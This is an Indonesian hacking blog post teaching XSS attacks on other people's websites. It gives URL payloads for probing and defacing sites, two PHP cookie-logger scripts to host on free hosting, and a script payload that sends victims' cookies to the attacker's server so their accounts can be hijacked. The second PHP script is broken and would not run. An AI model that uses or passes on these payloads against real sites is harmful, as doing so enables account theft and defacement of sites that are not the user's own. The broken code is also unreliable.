Selasa, 13 Maret 2012

Kemampuan XSS Basic Exploit

Menurut beberapa reverensi, XSS sendiri merupakan suatu kesalahan scripting
yang mengijinkan beberapa karakter tertentu dijalankan sebagai perintah oleh browser.
nah, kesalahan ini biasanya digunakan oleh seorang cracker untuk mendapatkan informasi
login atau sekedar iseng mendeface website dengan bug ini.

"Gimana caranya explore bug ini  RSHx0r?"

Yap. Biasanya para attacker memasukkan script racun mereka lewan address bar atau text field dalam web target
semisal guest box, form login atau lainnya. kemudian mereka memasukkan script berikut pada addressbar untuk mengetes apa situs target
vuln atau tidak
www.target.com/vuln.php?vuln=<h1>ini sebelum ditest</h1>
dimodif jadi:
www.target.com/vuln.php?vuln="<h1>XSS MENNN</h1>"
atau
www.target.com/vuln.php?vuln="<script>alert(‘web masih berpotensi XSS’)</script>"


Kalau muncul pop-up yang bertuliskan pesan diatas berarti website tersebut vulnerable. :))
kalau ga muncul berarti web target aman dan sebaiknya cari web lain untuk belajar =))
Selanjutnya adalah moment yang ditunggu, yaitu explore vuln tersebut sedalam mungkinnnnnn...

1. Pepes ala Chef XSS
wxwxwxwxwx keran pepesnya
yah buat mepes web dengan bug XSS kita ga perlu edit file index.html atau upload file defacement
tinggal memanipulasi text input atau address bar seperti yang saya ceritakan di atas.
a. untuk memasukkan gambar deface tinggal masukkan script berikut
www.target.info/guestbook.php?vuln=<html><body><IMG SRC="http://tinypic.com/defacement.png"></body></html>
<IMG SRC="http://tinypic.com/defacement.png"> b. kita bisa mendekorasi deface'an kita dengan marquee, dll sesuai kreatifitas :))

2. Curi cookies
ini menu tingkat tinggi. :)) kita bisa nyuri akun orang dengan cara ini. yang dibutuhkan antaralain
1. hosting yang geratis ajah such as 000webhost atau 0fest.net
2. text editor such as Notepad ++ ato notepad biasa
3. kemampuan coding PHP dikit

tulis/ketik code berikut di notepad, simpen dengan ekstensi .PHP
<?php
$cookie = $_GET['cookie'];
$log = fopen("log.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>

atau

<?php
$kue = $HTTP_GET_VARS["cookie"];
$date = date ("I ds of F Y h:i:s A");
$user_agent = $_SERVER['HTTP_USER AGENT
$file = fopen('log.txt', 'a');
fwrite($file,"DATE: $date || USER AGENT
:$useragent || COOKIE : $cookie\n");
fclose($file);
echo '<b>Maaf, situs dalam perbaikan</br></br></br>klik<a href = http://learnhack.info/">DISINI</a>untuk kembali'
?>
upload ke-hosting, dan tinggal modifikasi link web target dengan script berikit

<script>alert(username.hostingan.com/filephptadi.php)</script>

atau

<script>document.location='username.hostingan.com/filephptadi.php?cookie='+escape(document.cookie)</

script>

Setelah yang tidak beruntung nge-klik link diatas, cookie-nya tercuri dan tersimpan di file "log.txt" Dan kita bisa menggunakan cookie tersebut buat
masuk di site target.





<APABILA ARTIKEL INI BERMANFAAT>
<SILAHKAN SHARE DIMANAPUN YANG ANDA SUKA>
<DAN BILA TIDAK KEBERATAN TOLONG CANTUMKAN CREDIT>
<TERIMA KASIH ATAS KERJASAMANYA>

0 komentar:

Template by : kendhin x-template.blogspot.com